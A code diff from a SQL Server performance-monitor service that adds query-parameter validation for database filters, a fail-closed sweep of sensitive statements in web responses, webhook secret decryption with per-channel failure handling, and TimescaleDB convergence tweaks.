+    /// <c>DatabaseNames(c) is { } databases ? tool(..., databases) : DatabaseNamesRefusal(c)</c>, so a refused
+    /// request cannot reach a read as "all databases" (the type will not let a null through as a filter).
+    ///
+    /// <para>No <c>database_name</c> key at all is <see cref="DatabaseFilter.All"/>. Otherwise the values are
+    /// ITERATED, one per key; a value is never split on a comma, so <c>A,B</c> is one database called
+    /// <c>A,B</c>. Blank values (empty or whitespace-only) are dropped, a kept value is never trimmed or
+    /// case-folded, and repeats are kept once. The refusals, each the existing <c>invalid</c> envelope for the
+    /// <c>database_name</c> parameter:</para>
+    /// <list type="bullet">
+    /// <item>keys were sent but none survived the blank rule. A caller who asked for a database and got
+    /// "all databases" would read an unfiltered page as a filtered one, so the request is refused and never
+    /// widened;</item>
+    /// <item>more than <see cref="MaxDatabaseNames"/> distinct names;</item>
+    /// <item>a name over <see cref="MaxDatabaseNameLength"/> characters;</item>
+    /// <item>distinct names whose encoded query part is over <see cref="MaxDatabaseQueryBytes"/> bytes.</item>
+    /// </list>
+    /// Both caps count the DISTINCT names, so a request that repeats one name a hundred times is one name.
+    /// </summary>
+    internal static DatabaseFilter? DatabaseNames(HttpContext context) =>
+        TryBindDatabaseNames(context.Request.Query[DatabaseNameKey], out var databases, out _) ? databases : null;
+
+    /// <summary>
+    /// The refusal for a request <see cref="DatabaseNames"/> answered <c>null</c> for, as the dispatch entry's own
+    /// result: the <c>invalid</c> envelope (a 400 with the envelope as the body), the same shape
+    /// <see cref="MissingParam"/> and <see cref="UnparseableParam"/> hand back, and returned BEFORE the store is
+    /// touched. Calling it for a request that is fine is a bug, so it throws.
+    /// </summary>
+    internal static Task<string> DatabaseNamesRefusal(HttpContext context) =>
+        TryBindDatabaseNames(context.Request.Query[DatabaseNameKey], out _, out var refusal)
+            ? throw new InvalidOperationException("The request's database_name values are acceptable: there is nothing to refuse.")
+            : Task.FromResult(refusal!);
+
+    /// <summary>
+    /// PURE <see cref="DatabaseNames"/>: <paramref name="sent"/> is every value of the <c>database_name</c> key,
+    /// one element per key the request carried (empty when it carried none). True with the filter when the
+    /// request is acceptable; false with the refusal envelope when it is not.
+    /// </summary>
+    internal static bool TryBindDatabaseNames(IReadOnlyList<string?> sent, out DatabaseFilter databases, out string? refusal)
+    {
+        databases = default;
+        refusal = null;
+        if (sent.Count == 0)
+        {
+            return true;
+        }
+
+        // The blank rule and the de-duplication are DatabaseFilter's one copy; the caps below count what is left.
+        var chosen = DatabaseFilter.Of(sent);
+        if (chosen.IsAll)
+        {
+            refusal = McpHelpers.Refusal(DatabaseNameKey,
+                "database_name was sent, but every value was empty or only spaces. Name at least one database, or leave database_name out to cover them all.");
+            return false;
+        }
+
+        var names = chosen.Names;
+        if (names.Count > MaxDatabaseNames)
+        {
+            refusal = McpHelpers.Refusal(DatabaseNameKey,
+                $"database_name names {names.Count} different databases; at most {MaxDatabaseNames} are accepted. Name fewer, or leave database_name out to cover them all.");
+            return false;
+        }
+
+        foreach (var name in names)
+        {
+            /* PostgreSQL refuses a text value holding 0x00 (SQLSTATE 22021) and no stored database name can hold one, so the
+               name is refused here with the same envelope, rather than costing the read a 500. The sentence echoes no name. */
+            if (name.Contains('\0'))
+            {
+                refusal = McpHelpers.Refusal(DatabaseNameKey,
+                    "A database_name value holds a character a database name cannot hold.");
+                return false;
+            }
+
+            if (name.Length > MaxDatabaseNameLength)
+            {
+                refusal = McpHelpers.Refusal(DatabaseNameKey,
+                    $"A database_name value is {name.Length} characters long; a database name is at most {MaxDatabaseNameLength} characters.");
+                return false;
+            }
+        }
+
+        var bytes = 0;
+        foreach (var name in names)
+        {
+            bytes += DatabaseKeyBytes + EncodedQueryLength(name);
+        }
+
+        if (bytes > MaxDatabaseQueryBytes)
+        {
+            refusal = McpHelpers.Refusal(DatabaseNameKey,
+                $"The database_name values come to {bytes} encoded bytes; at most {MaxDatabaseQueryBytes} are accepted. Name fewer databases, or leave database_name out to cover them all.");
+            return false;
+        }
+
+        databases = chosen;
+        return true;
+    }
+
+    /// <summary>
+    /// PURE: the length <c>encodeURIComponent</c> gives <paramref name="value"/>, which is what the page's
+    /// <c>buildQuery</c> puts on the wire for each name: the UTF-8 bytes, one character for each of
+    /// <c>A-Z a-z 0-9 - _ . ! ~ * ' ( )</c> and three (<c>%XX</c>) for every other byte.
+    /// </summary>
+    internal static int EncodedQueryLength(string value)
+    {
+        var length = 0;
+        foreach (var b in System.Text.Encoding.UTF8.GetBytes(value))
+        {
+            length += IsLeftAloneByEncodeUriComponent(b) ? 1 : 3;
+        }
+
+        return length;
+    }
+
+    private static bool IsLeftAloneByEncodeUriComponent(byte b) =>
+        b is (>= (byte)'A' and <= (byte)'Z') or (>= (byte)'a' and <= (byte)'z') or (>= (byte)'0' and <= (byte)'9')
+            or (byte)'-' or (byte)'_' or (byte)'.' or (byte)'!' or (byte)'~' or (byte)'*' or (byte)'\'' or (byte)'(' or (byte)')';
+
     /// <summary>A required text parameter — true with the value when present, false when absent/empty.</summary>
     private static bool RequireText(HttpContext context, string key, out string value)
     {
@@ -3746,6 +6265,49 @@ private static bool RequireText(HttpContext context, string key, out string valu
     /// <summary>The dispatch layer's own refusal for a required text parameter the caller did not send — the
     /// <c>invalid</c> envelope (<see cref="McpHelpers.Refusal"/>, #3739) rather than the bare sentence it was, so
     /// a missing <c>wait_type</c> answers with the same shape and the same 400 a tool's own refusal does.</summary>
+    private const string PlanTruncatedMarker = "... (truncated)";
+
+    private static async Task<string> WrapPlanXmlAsync(Task<string> read, string queryHash, string? databaseName)
+        => WrapPlanXml(await read, queryHash, databaseName);
+
+    private static async Task<string> WrapPlanXmlAsync(Task<string> read, IReadOnlyDictionary<string, object?> identity)
+        => WrapPlanXml(await read, identity);
+
+    /// <summary>The identity a plan answer echoes back: the key the caller read by, in the order given.</summary>
+    private static Dictionary<string, object?> PlanIdentity(params (string Key, object? Value)[] pairs)
+    {
+        var identity = new Dictionary<string, object?>(pairs.Length, StringComparer.Ordinal);
+        foreach (var (key, value) in pairs) identity[key] = value;
+        return identity;
+    }
+
+    /// <summary>The web answer for <c>get_plan_xml</c>. The tool returns the stored showplan XML as bare text, which
+    /// the read route's classifier would file as a 400, so a plan is wrapped as JSON here (the MCP tool's own output
+    /// is unchanged). A status or error envelope, which starts with <c>{</c>, passes through untouched. A plan cut
+    /// by <see cref="McpHelpers.Truncate"/> ends with its marker (a whole plan ends with a closing tag); the marker
+    /// is removed and <c>truncated</c> says so.</summary>
+    internal static string WrapPlanXml(string result, string queryHash, string? databaseName)
+        => WrapPlanXml(result, new Dictionary<string, object?>(StringComparer.Ordinal)
+        {
+            ["query_hash"] = queryHash,
+            ["database_name"] = databaseName,
+        });
+
+    /// <summary>The same wrap for any plan read (#5228): <paramref name="identity"/> is echoed first, then
+    /// <c>plan_xml</c> and <c>truncated</c>.</summary>
+    internal static string WrapPlanXml(string result, IReadOnlyDictionary<string, object?> identity)
+    {
+        if (!result.AsSpan().TrimStart().StartsWith("<", StringComparison.Ordinal)) return result;
+
+        var truncated = result.EndsWith(PlanTruncatedMarker, StringComparison.Ordinal);
+        var xml = truncated ? result[..^PlanTruncatedMarker.Length] : result;
+        var payload = new Dictionary<string, object?>(identity.Count + 2, StringComparer.Ordinal);
+        foreach (var pair in identity) payload[pair.Key] = pair.Value;
+        payload["plan_xml"] = xml;
+        payload["truncated"] = truncated;
+        return System.Text.Json.JsonSerializer.Serialize(payload);
+    }
+
     private static Task<string> MissingParam(string key) => Task.FromResult(McpHelpers.Refusal(key, $"Missing required parameter '{key}'."));
 
     /// <summary>
@@ -3786,6 +6348,25 @@ internal static bool TryParseOptionalDouble(string? raw, out double? value)
     private static bool OptionalInt(HttpContext context, string key, out int? value) =>
         TryParseOptionalInt(First(context, key), out value);
 
+    /// <summary>An OPTIONAL 64-bit integer parameter (a Query Store <c>query_id</c> / <c>plan_id</c>), with
+    /// <see cref="OptionalInt"/>'s three outcomes.</summary>
+    private static bool OptionalLong(HttpContext context, string key, out long? value) =>
+        TryParseOptionalLong(First(context, key), out value);
+
+    /// <summary>PURE optional-long binding — <see cref="TryParseOptionalInt"/>'s 64-bit twin.</summary>
+    internal static bool TryParseOptionalLong(string? raw, out long? value)
+    {
+        if (raw is null)
+        {
+            value = null;
+            return true;
+        }
+
+        var parsed = long.TryParse(raw, NumberStyles.Integer, CultureInfo.InvariantCulture, out var number);
+        value = parsed ? number : null;
+        return parsed;
+    }
+
     /// <summary>PURE optional-integer binding — <see cref="TryParseOptionalDouble"/>'s twin.</summary>
     internal static bool TryParseOptionalInt(string? raw, out int? value)
     {
@@ -3802,8 +6383,9 @@ internal static bool TryParseOptionalInt(string? raw, out int? value)
 
     /// <summary>The dispatch layer's refusal for a filter value it cannot read as a number — the <c>invalid</c>
     /// envelope, for the reason <see cref="MissingParam"/> is.</summary>
-    private static Task<string> UnparseableParam(string key) =>
-        Task.FromResult(McpHelpers.Refusal(key, $"Invalid value for parameter '{key}'. Expected a number."));
+    private static Task<string> UnparseableParam(string key, string? expected = null) =>
+        Task.FromResult(McpHelpers.Refusal(key, $"Invalid value for parameter '{key}'. {expected ?? "Expected a number."}"));
+
 
     private static int QueryInt(HttpContext context, string key, string? aliasKey, int def) =>
         ParseInt(First(context, key) ?? (aliasKey is null ? null : First(context, aliasKey)), def);
@@ -3826,11 +6408,66 @@ private static int Rows(HttpContext context, string key, int def) =>
 
     private static double QueryDouble(HttpContext context, string key, double def) => ParseDouble(First(context, key), def);
 
-    /// <summary>The first non-empty value for a query key, or null.</summary>
-    private static string? First(HttpContext context, string key)
+    /// <summary>
+    /// The first non-empty value for a query key, or null. This is the ONE binding rule for a single-value
+    /// parameter: the other three web surfaces' query helpers (<c>DarlingFleetSweepEndpoints.Query</c>,
+    /// <c>AlertNotebookEndpoint.Query</c>, <c>DarlingTriageEndpoint.Query</c>) call it rather than restate it.
+    ///
+    /// <para>A key sent twice (<c>?server=A&amp;server=B</c>) is its FIRST value. It used to be both values joined
+    /// with a comma (<c>A,B</c>, which is what turning ASP.NET's <c>StringValues</c> into a string does), which
+    /// no server, database or collector is called, so a repeated key silently matched nothing (#5245). A list is
+    /// read by <see cref="DatabaseNames"/>, which iterates the values and never splits on a comma.</para>
+    /// </summary>
+    internal static string? First(HttpContext context, string key)
+    {
+        foreach (var value in context.Request.Query[key])
+        {
+            if (!string.IsNullOrEmpty(value))
+            {
+                return value;
+            }
+        }
+
+        return null;
+    }
+
+    /// <summary>
+    /// The ONE reader for a query key that must carry exactly one value (a confirm flag, the access token, the
+    /// sign-in callback's <c>code</c>/<c>state</c>/<c>error</c>/<c>return</c>). Returns false when the key is
+    /// sent more than once (<c>?code=a&amp;code=b</c>): RFC 6749 section 3.1 says such a parameter MUST NOT be
+    /// included more than once, and reading it as <c>Query[key].ToString()</c> joins the copies into
+    /// <c>a,b</c>, which is a value nobody sent (#5245). An absent key is true with an empty
+    /// <paramref name="value"/>, exactly what <c>Query[key].ToString()</c> gave, so a request that sends each
+    /// key once behaves as it always did.
+    /// </summary>
+    internal static bool TrySingleQueryValue(IQueryCollection query, string key, out string value)
+    {
+        var values = query[key];
+        if (values.Count > 1)
+        {
+            value = string.Empty;
+            return false;
+        }
+
+        value = values.ToString();
+        return true;
+    }
+
+    /// <summary>The <c>confirm</c> flag of a delete: absent is false, <c>true</c> is true, anything else (including
+    /// a key sent twice) is a refusal sentence for the 400 (#5245). Pure, so the rule pins without a host.</summary>
+    internal static (bool Confirm, string? Refusal) ParseConfirm(IQueryCollection query)
     {
-        var value = context.Request.Query[key].ToString();
-        return string.IsNullOrEmpty(value) ? null : value;
+        if (!TrySingleQueryValue(query, "confirm", out var confirmText))
+        {
+            return (false, "confirm must be given once, as true, or omitted.");
+        }
+
+        if (confirmText.Length > 0 && !string.Equals(confirmText, "true", StringComparison.Ordinal))
+        {
+            return (false, "confirm must be true, or omitted.");
+        }
+
+        return (confirmText.Length > 0, null);
     }
 
     /* Pure parse helpers (invariant culture) — the binding logic the tests pin without an HttpContext. */
diff --git a/Darling/PerformanceMonitor.Darling.Service/DarlingWebStatementSweep.cs b/Darling/PerformanceMonitor.Darling.Service/DarlingWebStatementSweep.cs
new file mode 100644
index 0000000000..4e419f92ca
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/DarlingWebStatementSweep.cs
@@ -0,0 +1,71 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Text.Json.Nodes;
+using Microsoft.AspNetCore.Http;
+using Microsoft.Extensions.Logging;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service.Hosting;
+
+namespace PerformanceMonitor.Darling.Service;
+
+/// <summary>
+/// #4348, the web side of the statement filter's read-time sweep. The MCP host sweeps each tool's result in one
+/// call-tool filter; the web routes answer through their own writers, so the sweep runs at the top of each writer
+/// that puts a tool's string (or a body built from tool strings) on the wire: <c>ToHttpResult</c>,
+/// <c>MuteRuleToolResult</c>, and the three endpoints that write their own body (triage, the alert notebook and the
+/// fleet sweep feed). Every route then returns through one of these or is on the short named list that
+/// <c>WebRouteStatementCensusTests</c> pins.
+///
+/// <para>A body the sweep cannot read is never written. It becomes a 500 whose body is the one sentence
+/// <see cref="SensitiveStatements.JsonRefusal"/>, the same sentence the MCP host answers with, and the service log
+/// names the route.</para>
+/// </summary>
+internal static class DarlingWebStatementSweep
+{
+    /// <summary>The swept text, and whether the sweep refused it.</summary>
+    internal readonly record struct Swept(string Text, bool Refused);
+
+    /// <summary>Sweeps one tool string or JSON body. The same string instance comes back when nothing in it is
+    /// named. Never throws and never hands the input back after a failure.</summary>
+    internal static Swept Apply(string? output)
+    {
+        if (string.IsNullOrEmpty(output)) return new Swept(output ?? "", false);
+
+        try
+        {
+            string judged = SensitiveStatements.Json(output);
+            bool refused = string.Equals(judged, SensitiveStatements.JsonRefusal, StringComparison.Ordinal)
+                && !string.Equals(output, SensitiveStatements.JsonRefusal, StringComparison.Ordinal);
+            return refused ? new Swept(SensitiveStatements.JsonRefusal, true) : new Swept(judged, false);
+        }
+#pragma warning disable CA1031 // fail closed: the sweep never lets the input through after a failure
+        catch (Exception)
+#pragma warning restore CA1031
+        {
+            return new Swept(SensitiveStatements.JsonRefusal, true);
+        }
+    }
+
+    /// <summary>The answer for a body the sweep refused: logged once, then a 500 carrying the one sentence.</summary>
+    internal static IResult Refusal(string route, ILogger? logger, long elapsedMs)
+    {
+        if (logger is not null) DarlingWebFailureLog.Report(logger, route, elapsedMs, SensitiveStatements.JsonRefusal);
+        return Results.Json(new { error = SensitiveStatements.JsonRefusal }, statusCode: StatusCodes.Status500InternalServerError);
+    }
+
+    /// <summary>Writes a JSON body the endpoint built itself, after sweeping it.</summary>
+    internal static IResult JsonText(JsonNode body, string route, ILogger? logger, long elapsedMs, int statusCode = StatusCodes.Status200OK)
+    {
+        var swept = Apply(body.ToJsonString());
+        return swept.Refused
+            ? Refusal(route, logger, elapsedMs)
+            : Results.Text(swept.Text, "application/json", statusCode: statusCode);
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/DarlingWebhookSecrets.cs b/Darling/PerformanceMonitor.Darling.Service/DarlingWebhookSecrets.cs
new file mode 100644
index 0000000000..de955998bb
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/DarlingWebhookSecrets.cs
@@ -0,0 +1,211 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Notifications;
+
+namespace PerformanceMonitor.Darling.Service;
+
+/// <summary>A webhook channel that could not be used because one of its saved values would not open (#5366).
+/// <paramref name="Text"/> is the channel's health text, and never carries a value.</summary>
+internal sealed record WebhookOpenFailure(string Channel, string Text);
+
+/// <summary>The webhook settings and routes with every sealed value opened, and the values that would not open.</summary>
+internal sealed class OpenedWebhooks
+{
+    public OpenedWebhooks(WebhooksConfig webhooks, IReadOnlyList<NotificationRoute> routes, IReadOnlyList<WebhookOpenFailure> failures)
+    {
+        Webhooks = webhooks;
+        Routes = routes;
+        Failures = failures;
+    }
+
+    public WebhooksConfig Webhooks { get; }
+
+    public IReadOnlyList<NotificationRoute> Routes { get; }
+
+    public IReadOnlyList<WebhookOpenFailure> Failures { get; }
+}
+
+/// <summary>
+/// Opens the sealed webhook values the store holds (#5366): the Teams, Slack and generic URLs, the PagerDuty routing key and
+/// the generic headers, on the notification row and on each route. A value that is not sealed (a legacy one) is used as
+/// stored. A sealed value that will not open turns its channel off, and the failure says so in the channel's health text;
+/// nothing else about the channel's other values changes. A route value that will not open turns that channel off for
+/// that route (see <see cref="NotificationRoute.OffChannels"/>): its alerts are not sent to the settings row's destination
+/// instead.
+/// </summary>
+internal static class DarlingWebhookSecrets
+{
+    /// <summary>Opens <paramref name="stored"/> and <paramref name="routes"/> with <paramref name="ring"/>.</summary>
+    public static OpenedWebhooks Open(WebhooksConfig stored, IReadOnlyList<NotificationRoute> routes, IPasswordKeyRing ring)
+    {
+        ArgumentNullException.ThrowIfNull(stored);
+        ArgumentNullException.ThrowIfNull(ring);
+        routes ??= Array.Empty<NotificationRoute>();
+        var failures = new List<WebhookOpenFailure>();
+        var row = PasswordBinding.WebhookSettingsRow;
+
+        var opened = new WebhooksConfig
+        {
+            TeamsUrl = OpenValue(stored.TeamsUrl, "teams", row, stored.TeamsProxy, null, NotificationRouter.TeamsChannel, "Teams webhook URL", ring, failures),
+            TeamsProxy = stored.TeamsProxy,
+            SlackUrl = OpenValue(stored.SlackUrl, "slack", row, stored.SlackProxy, null, NotificationRouter.SlackChannel, "Slack webhook URL", ring, failures),
+            SlackProxy = stored.SlackProxy,
+            GenericUrl = OpenValue(stored.GenericUrl, "generic", row, stored.GenericProxy, null, NotificationRouter.GenericChannel, "generic webhook URL", ring, failures),
+            GenericHeaders = OpenValue(stored.GenericHeaders, "generic_headers", row, stored.GenericProxy, stored.GenericUrl, NotificationRouter.GenericChannel, "generic webhook headers", ring, failures),
+            GenericBodyTemplate = stored.GenericBodyTemplate,
+            GenericProxy = stored.GenericProxy,
+            PagerDutyRoutingKey = OpenValue(stored.PagerDutyRoutingKey, "pagerduty", row, stored.PagerDutyProxy, null, NotificationRouter.PagerDutyChannel, "PagerDuty routing key", ring, failures),
+            PagerDutyUseEuRegion = stored.PagerDutyUseEuRegion,
+            PagerDutyAutoResolve = stored.PagerDutyAutoResolve,
+            PagerDutyProxy = stored.PagerDutyProxy,
+        };
+
+        var openedRoutes = new List<NotificationRoute>(routes.Count);
+        foreach (var route in routes)
+        {
+            var routeRow = PasswordBinding.WebhookRouteRow(route.RouteId);
+            var where = $" of route {route.RouteId}";
+            var off = new List<string>();
+            var teams = OpenRouteValue(route.TeamsUrl, "teams", routeRow, stored.TeamsProxy, NotificationRouter.TeamsChannel, "Teams webhook URL" + where, ring, failures, off);
+            var slack = OpenRouteValue(route.SlackUrl, "slack", routeRow, stored.SlackProxy, NotificationRouter.SlackChannel, "Slack webhook URL" + where, ring, failures, off);
+            var generic = OpenRouteValue(route.GenericUrl, "generic", routeRow, stored.GenericProxy, NotificationRouter.GenericChannel, "generic webhook URL" + where, ring, failures, off);
+            var pagerDuty = OpenRouteValue(route.PagerDutyRoutingKey, "pagerduty", routeRow, stored.PagerDutyProxy, NotificationRouter.PagerDutyChannel, "PagerDuty routing key" + where, ring, failures, off);
+            openedRoutes.Add(route with
+            {
+                TeamsUrl = teams,
+                SlackUrl = slack,
+                GenericUrl = generic,
+                PagerDutyRoutingKey = pagerDuty,
+                OffChannels = off.Count == 0 ? route.OffChannels : off,
+            });
+        }
+
+        /* Headers that will not open leave the generic channel with a destination that would be sent without the headers
+           it was set up with. The channel is off, for the settings row and for every route that sets a generic URL. */
+        if (failures.Exists(f => f.Text.StartsWith("The generic webhook headers ", StringComparison.Ordinal)))
+        {
+            opened.GenericUrl = "";
+            for (var i = 0; i < openedRoutes.Count; i++)
+            {
+                if (!string.IsNullOrWhiteSpace(routes[i].GenericUrl))
+                {
+                    openedRoutes[i] = openedRoutes[i] with { GenericUrl = "", OffChannels = WithChannel(openedRoutes[i].OffChannels, NotificationRouter.GenericChannel) };
+                }
+            }
+        }
+
+        return new OpenedWebhooks(opened, openedRoutes, failures);
+    }
+
+    /// <summary>One route value. A sealed value that will not open comes back empty and its channel is added to
+    /// <paramref name="off"/>, so the route sends nothing for that channel instead of inheriting the settings row's
+    /// destination.</summary>
+    private static string OpenRouteValue(
+        string stored, string slot, string row, string? proxy, string channel, string label,
+        IPasswordKeyRing ring, List<WebhookOpenFailure> failures, List<string> off)
+    {
+        var before = failures.Count;
+        var value = OpenValue(stored, slot, row, proxy, null, channel, label, ring, failures);
+        if (failures.Count > before)
+        {
+            off.Add(channel);
+        }
+
+        return value;
+    }
+
+    private static IReadOnlyCollection<string> WithChannel(IReadOnlyCollection<string>? existing, string channel) =>
+        existing is not null && existing.Contains(channel, StringComparer.Ordinal)
+            ? existing
+            : (existing ?? Array.Empty<string>()).Append(channel).ToList();
+
+    /// <summary>One value: blank and legacy text are returned as stored, a sealed value is opened for its binding, and a
+    /// sealed value that will not open comes back empty with a failure recorded.</summary>
+    private static string OpenValue(
+        string stored, string slot, string row, string? proxy, string? boundUrl, string channel, string label,
+        IPasswordKeyRing ring, List<WebhookOpenFailure> failures)
+    {
+        if (string.IsNullOrWhiteSpace(stored) || !PasswordSeal.IsSealed(stored))
+        {
+            return stored;
+        }
+
+        string cause;
+        if (!ring.Status.CanSeal)
+        {
+            failures.Add(new WebhookOpenFailure(
+                channel, $"The {label} could not be opened: {(ring.Status.Reason ?? DarlingPasswordKey.NotReadyReason).TrimEnd('.')}."));
+            return "";
+        }
+
+        try
+        {
+            return ring.Open(stored, PasswordBinding.ForWebhook(slot, row, proxy, boundUrl));
+        }
+        catch (PasswordSealException ex)
+        {
+            cause = ex.Kind switch
+            {
+                PasswordSealFailure.UnknownKey =>
+                    $"it was sealed to password key {PasswordSeal.DisplayKeyId(ex.KeyId ?? "")}, which this service does not have",
+                PasswordSealFailure.NewerVersion => "it was saved by a newer version of Darling",
+                PasswordSealFailure.Malformed => "the saved text is damaged",
+                _ => "it was saved for a different place or proxy, or was changed",
+            };
+        }
+        catch (ArgumentException)
+        {
+            cause = "its saved settings are not valid text";
+        }
+
+        failures.Add(new WebhookOpenFailure(channel, $"The {label} could not be opened: {cause}. Enter it again in Settings."));
+        return "";
+    }
+
+    /// <summary>A text that changes whenever any stored webhook value, route or the ring's state does, so a caller can reuse
+    /// an opened result until it would differ.</summary>
+    public static string Signature(WebhooksConfig w, IReadOnlyList<NotificationRoute> routes, PasswordKeyStatus status)
+    {
+        var text = new StringBuilder();
+        void Add(string? part) => text.Append(part ?? "").Append('\u0001');
+        Add(status.CanSeal ? "1" : "0");
+        Add(status.KeyId);
+        Add(status.Reason);
+        Add(w.TeamsUrl);
+        Add(w.TeamsProxy);
+        Add(w.SlackUrl);
+        Add(w.SlackProxy);
+        Add(w.GenericUrl);
+        Add(w.GenericHeaders);
+        Add(w.GenericBodyTemplate);
+        Add(w.GenericProxy);
+        Add(w.PagerDutyRoutingKey);
+        Add(w.PagerDutyUseEuRegion ? "1" : "0");
+        Add(w.PagerDutyAutoResolve ? "1" : "0");
+        Add(w.PagerDutyProxy);
+        foreach (var r in routes ?? Array.Empty<NotificationRoute>())
+        {
+            Add(r.RouteId.ToString(System.Globalization.CultureInfo.InvariantCulture));
+            Add(r.MetricMatch);
+            Add(r.TeamsUrl);
+            Add(r.SlackUrl);
+            Add(r.GenericUrl);
+            Add(r.PagerDutyRoutingKey);
+            Add(r.SmtpRecipients);
+            Add(r.Enabled ? "1" : "0");
+        }
+
+        return text.ToString();
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs b/Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs
index eb24ef8073..22c9b466d0 100644
--- a/Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs
@@ -1,4 +1,4 @@
-/*
+/*
  * Copyright (c) 2026 Erik Darling, Darling Data LLC
  *
  * This file is part of the SQL Server Performance Monitor.
@@ -28,6 +28,7 @@
 using PerformanceMonitor.Analysis;
 using PerformanceMonitor.Collectors;
 using PerformanceMonitor.Common;
+using ServerClock = PerformanceMonitor.Analysis.Baselines.ServerClock;
 using PerformanceMonitor.Darling.Analysis;
 using PerformanceMonitor.Darling.Storage;
 using PerformanceMonitor.Darling.Service.Mcp;
@@ -292,7 +293,8 @@ internal sealed record StoreObjectConvergenceStep(
         string Name,
         StoreObjectConvergenceStage Stage,
         StoreObjectChangeSignal Signal,
-        Func<NpgsqlConnection, ILogger, CancellationToken, Task<int>> EnsureAsync);
+        Func<NpgsqlConnection, ILogger, CancellationToken, Task<int>> EnsureAsync,
+        Func<NpgsqlConnection, ILogger, CancellationToken, Task<int>>? HourlyEnsureAsync = null);
 
     /// <summary>
     /// THE list: every idempotent store-object ensure, in the one order both the start path and the hourly
@@ -320,21 +322,23 @@ internal sealed record StoreObjectConvergenceStep(
     /// both already coverage-gated so they no-op once caught up. The issue asks for exactly this exclusion: a
     /// periodic pass must not launch a second one over a first that is still running, and a re-run's cost
     /// scales with history rather than with the catalog.</description></item>
-    /// <item><description><see cref="DarlingModuleMap"/>'s table ensure and refresh — the refresh is a DATA
-    /// upsert rather than a store object and it ALREADY has a periodic home (the daily purge tick), and the
-    /// table ensure is inseparable from it here because the refresh is gated on the bool it returns. A
-    /// module_map table that failed to create is also the one item on this list whose absence is not silent:
-    /// the daily refresh warns about it every day.</description></item>
+    /// <item><description><see cref="DarlingModuleMap"/>'s table ensure — a cheap DDL that the start path runs
+    /// for readers. The map's refresh is a DATA upsert rather than a store object, and since #5578 it no longer
+    /// runs on the start path at all: it has periodic homes that fire in the sweep loop's first pass, after the
+    /// collectors start (the daily purge tick, and the hourly tick's own incremental tenant). A module_map table
+    /// that failed to create is also the one item on this list whose absence is not silent: the table ensure
+    /// warns when it fails, and the refreshes warn about it every run.</description></item>
     /// </list>
     ///
     /// <para><b>Every step here was read for idempotence rather than assumed idempotent</b>, and the verdicts
     /// are on the steps. The two that are worth an operator's attention: the compression ENABLE statements
     /// (<c>ALTER TABLE ... SET (timescaledb.compress ...)</c>, inside
     /// <see cref="TimescaleSupport.ApplyCompressionPolicyAsync"/> and
-    /// <see cref="TimescaleSupport.EnsureCollectionLogHypertableAsync"/>) are re-executed on every pass rather
-    /// than skipped under a catalog check, so those two steps are the pass's only unconditional DDL; they take
-    /// a brief lock on the hypertable's parent and nothing else. That is measured in the PR body rather than
-    /// asserted here, and it is why the summary line carries an elapsed.</para>
+    /// <see cref="TimescaleSupport.EnsureCollectionLogHypertableAsync"/>) take an ACCESS EXCLUSIVE lock even
+    /// when they change nothing, so since #3817 each is issued only for a table whose compression settings
+    /// differ from what the product wants, and a converged store's pass issues none. collection_log's waits at
+    /// most <see cref="TimescaleSupport.HourlyDdlLockTimeout"/> for its lock (#4951). The summary
+    /// line carries an elapsed so a slow pass shows.</para>
     /// </summary>
     private static readonly StoreObjectConvergenceStep[] s_storeObjectConvergence =
     {
@@ -343,13 +347,14 @@ already a hypertable. A catalog check per table on a converged store. */
         new("hypertable conversion", StoreObjectConvergenceStage.Timescale, StoreObjectChangeSignal.InPlace,
             (connection, logger, ct) => TimescaleSupport.ConvertToHypertablesAsync(connection, logger, ct)),
 
-        /* The compression ENABLE is unconditional DDL (see the class remark); add_compression_policy's
-           if_not_exists returns -1 for a policy that exists. */
+        /* The compression ENABLE runs only for a table whose settings differ (#3817, see the class remark);
+           add_compression_policy's if_not_exists returns -1 for a policy that exists. */
         new("compression policies", StoreObjectConvergenceStage.Timescale, StoreObjectChangeSignal.InPlace,
-            (connection, logger, ct) => TimescaleSupport.ApplyCompressionPolicyAsync(connection, logger, ct)),
+            (connection, logger, ct) => TimescaleSupport.ApplyCompressionPolicyAsync(connection, logger, ct),
+            (connection, logger, ct) => TimescaleSupport.ApplyCompressionPolicyAsync(connection, logger, hourly: true, ct)),
 
-        /* collection_log is outside the collector catalog, so the two steps above never reach it; same three
-           idempotent statements. */
+        /* collection_log is outside the collector catalog, so the two steps above never reach it; the same three
+           idempotent statements, with its own segmentby and a bounded lock wait on its ALTER (#4951). */
         new("collection_log hypertable", StoreObjectConvergenceStage.Timescale, StoreObjectChangeSignal.InPlace,
             async (connection, logger, ct) => await TimescaleSupport.EnsureCollectionLogHypertableAsync(connection, logger, ct) ? 1 : 0),
 
@@ -429,7 +434,32 @@ finds nothing once every hypertable carries the reloption. Wrapped whole rather
            at its own call site today, which the issue names: one failure costs every index in the pass — so
            on this cadence the next hour retries it, which is the change. */
         new("composer performance tuning", StoreObjectConvergenceStage.Tuning, StoreObjectChangeSignal.InPlace,
-            (connection, logger, ct) => PgTableTuning.ApplyAsync(connection, logger, ct)),
+            (connection, logger, ct) => PgTableTuning.ApplyAsync(connection, logger, ct),
+            (connection, logger, ct) => PgTableTuning.ApplyAsync(connection, logger, hourly: true, ct)),
+
+        /* #5571: the day partitions of the two Query Store interval tables. A table that is not promoted yet is
+           converged first: arm the legacy CHECK when there is none, try ONE promote when it is valid, and re-arm it with
+           a later S when the table is still not promoted and S is close, so the CHECK never refuses a current row
+           while the table waits for its promotion (the VALIDATE itself runs on the background task, never here).
